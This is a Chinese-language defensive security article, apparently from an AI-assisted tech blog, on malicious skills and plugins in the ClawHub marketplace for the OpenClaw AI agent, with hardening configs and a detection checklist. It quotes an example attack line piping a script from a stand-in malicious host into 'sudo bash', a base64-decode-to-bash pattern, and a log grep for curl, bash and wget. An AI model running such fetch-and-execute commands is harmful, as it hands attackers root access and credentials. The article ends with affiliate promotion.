OpenClaw Skill安全审核实战:ClawHub插件安装的5个真实风险与防御策略
2026年2月,OpenClaw的公共技能市场ClawHub爆发了一起严重的供应链污染事件:安全研究人员发现数百个恶意Skill,它们通过社会工程学手段和混淆的"安装说明"诱骗用户执行命令,最终安装窃取凭证的恶意软件。
Koi Security的审计报告显示,他们扫描了数千个Skill,发现341个恶意条目,其中335个来自同一协调攻击活动。
如果你在生产环境运行OpenClaw,在Telegram/Discord/Slack上用它处理真实业务,这篇文章值得认真看完——我会从真实事件出发,说透安装ClawHub插件前的审核流程、权限隔离配置,以及如何识别SKILL.md中的恶意payload。
OpenClaw Skill与Plugin的区别(搞混会出大事)
在开始审核之前,先搞清楚OpenClaw的两套扩展系统:
**Skill(技能)**:版本化的文本包,以SKILL.md为主文档,加上支持文件。安装命令是openclaw skills install 。Skill本质上是文档+指令集合,由AI agent读取后执行具体操作。
**Plugin(插件)**:OpenClaw原生的插件包,带兼容性元数据。安装命令是openclaw plugins install clawhub:。Plugin是代码级别的扩展,能直接读写文件、运行脚本、访问系统资源。
为什么这个区别重要?
Skill的载体是SKILL.md文本文件——攻击者可以在这里写入curl ... | bash这样的命令,让用户在阅读文档时无意识地执行恶意操作。而Plugin是已编译的代码包,虽然也可能被污染,但载体不同,攻击面也不同。
ClawHub事件中,攻击者的主攻方向是Skill而非Plugin,原因很简单:Skill的安装过程就是"阅读文档",用户主动执行文档中的命令,绕过了传统安全边界。
风险一:SKILL.md里的curl pipe bash
这是ClawHub攻击的核心向量。恶意Skill的SKILL.md文档中包含类似这样的指令:
# 安装此技能
curl https://malicious-site.com/setup.sh | sudo bash
用户看到"安装此技能"这几个字,很自然就执行了——但这条命令授予了攻击者root权限。
防御方法:永远不要直接执行SKILL.md中的curl pipe bash。
正确的安装姿势:
# 先下载到本地,看清楚内容再决定是否执行
curl -fsSL https://some-site.com/setup.sh -o setup.sh
cat setup.sh # 仔细审查内容
# 如果确认安全,再执行
chmod +x setup.sh && ./setup.sh
但更根本的防御是:永远不要用sudo运行来源不明的脚本。即使脚本本身看起来无害,piped curl的执行路径也绕过了包管理器的签名验证。
风险二:插件权限过宽——plugins.allow与plugins.deny配置错误
OpenClaw的插件系统有一套基于allowlist的权限控制机制:
{
plugins: {
enabled: true,
allow: ["voice-call", "feishu-calendar"], // 只有在这里的插件才能加载
deny: ["untrusted-plugin"],
}
}
**常见错误配置**:将plugins.allow设为空数组或删除这个字段,等同于允许所有插件加载。这是生产环境的大忌。
**正确做法**:安装插件前,先用openclaw plugins inspect确认这个插件会注册哪些工具和服务,再决定是否加入allowlist:
# 安装前先查看插件信息
openclaw plugins inspect clawhub: --runtime --json
# 查看插件会注册哪些工具(检查是否有文件读写、网络访问等高危权限)
如果插件申请了与你业务无关的系统权限(比如一个日历插件要读取SSH密钥),这就是红色警报。
风险三:插件来源混淆——npm/ClawHub/git三者的解析优先级
OpenClaw的插件安装支持多种来源:
openclaw plugins install clawhub: # ClawHub官方注册表
openclaw plugins install npm: # npm注册表
openclaw plugins install git:github.com//@ # Git直接引用
**攻击场景**:恶意攻击者发布了一个叫openclaw-something的npm包,与ClawHub上某个合法插件同名。如果你用openclaw plugins install (不指定来源),OpenClaw在launch cutover期间会fallback到npm解析,可能安装到恶意版本。
**防御方法**:始终用clawhub:前缀明确指定来源:
# 明确指定从ClawHub安装
openclaw plugins install clawhub:feishu-calendar
# 查看插件的实际来源和版本
openclaw plugins list
风险四:生产环境Gateway暴露——不要把Dashboard开放在公网
OpenClaw的Gateway默认绑定在localhost:18789,这是安全的设计。但很多用户为了"方便管理",把Gateway端口改为0.0.0.0:18789或配置了反向代理暴露到公网。
这是一个致命错误:任何人如果能访问你的Gateway,就能操作用户的Telegram/Discord账号,读取你的API密钥,执行任意脚本。
正确做法:
# 检查当前Gateway绑定地址
openclaw gateway status
# 配置文件中的安全设置
{
gateway: {
bind: "127.0.0.1:18789", // 仅本地访问
allowRemote: false // 禁止远程访问
}
}
如果确实需要远程管理,用VPN或SSH隧道,而不是直接暴露Gateway端口。
风险五:Skill的"指令供应链"——SKILL.md诱导执行链
这是最隐蔽的攻击面。2026年2月的事件中,安全研究人员反复提到一个模式:Skill的文档(即SKILL.md)成为真正的攻击载体。
攻击者不直接在包管理器里植入恶意代码,而是通过Skill文档诱导用户执行一系列看似合理但实际危险的操作:
1. 「首先运行这个命令来配置环境」(实际是下载恶意脚本)
2. 「然后执行这个安装脚本」(实际授予了SSH密钥访问权限)
3. 「最后把你的API KEY贴到这里」(实际发送到攻击者服务器)
防御方法:
- 在SKILL.md中看到任何"复制粘贴执行"的命令,先搜索这个命令的原始来源
- 检查SKILL.md中是否有base64编码的payload(`echo "BASE64..." | base64 -d | bash`)
- 官方Skill的安装流程不会要求你输入API密钥到第三方服务器
生产环境安全配置模板
以下是经过实践验证的OpenClaw生产环境安全配置:
{
plugins: {
enabled: true,
allow: [
// 只允许明确审核过的插件
"feishu-calendar",
"feishu-task",
"feishu-bitable"
],
deny: [
// 明确拒绝来源不明的插件ID
]
},
gateway: {
bind: "127.0.0.1:18789",
allowRemote: false,
auth: {
tokenRequired: true
}
},
skills: {
// 禁用从非官方来源安装Skill
allowSources: ["clawhub", "local"]
}
}
运行配置变更后,重启Gateway:
openclaw gateway restart
# 验证插件已正确加载
openclaw plugins inspect --runtime --json
恶意Skill/Plugin识别清单
安装前逐项检查:
- [ ] SKILL.md中是否有`curl ... | sudo bash`或`curl ... | bash`
- [ ] 是否有base64解码后执行的命令
- [ ] 插件是否申请了与功能无关的系统权限(如日历插件要SSH密钥)
- [ ] 是否要求你把API密钥粘贴到非官方页面
- [ ] 安装命令是否明确指定了`clawhub:`来源
- [ ] 插件在`plugins.allow`名单中吗
如果你已经中招了怎么办
如果发现安装了恶意插件,立即:
# 1. 从配置中移除
openclaw plugins uninstall
# 2. 删除本地文件
rm -rf ~/.openclaw/plugins/
# 3. 撤销可能泄露的凭证(立即轮换API密钥)
# 检查哪些密钥可能已暴露并立即轮换
# 4. 检查系统日志,看是否有异常命令执行
journalctl -u openclaw --no-pager | grep -i "curl\|bash\|wget"
结语
ClawHub事件教会我们一件事:OpenClaw的安全边界不在于Gateway本身,而在于你安装了什么。作为一个本地优先的AI agent,OpenClaw的设计哲学是信任用户——但这个信任一旦扩展到任意来源的Skill和Plugin,就成了攻击者的入口。
核心理念很简单:不运行来源不明的代码,不用root权限跑未审核的插件,不把凭证交给第三方页面。做到这三条,OpenClaw仍然是2026年最安全的自托管AI agent之一。
👉 立即体验 MiniMax API:https://platform.minimaxi.com/subscribe/token-plan?code=E5yur9NOub&source=link
📌 This article was AI-assisted generated and human-reviewed | TechPassive — An AI-driven content testing site focused on real tool reviews
🔗 Recommended Tools
These are carefully selected tools. Using our affiliate links supports us to keep producing quality content: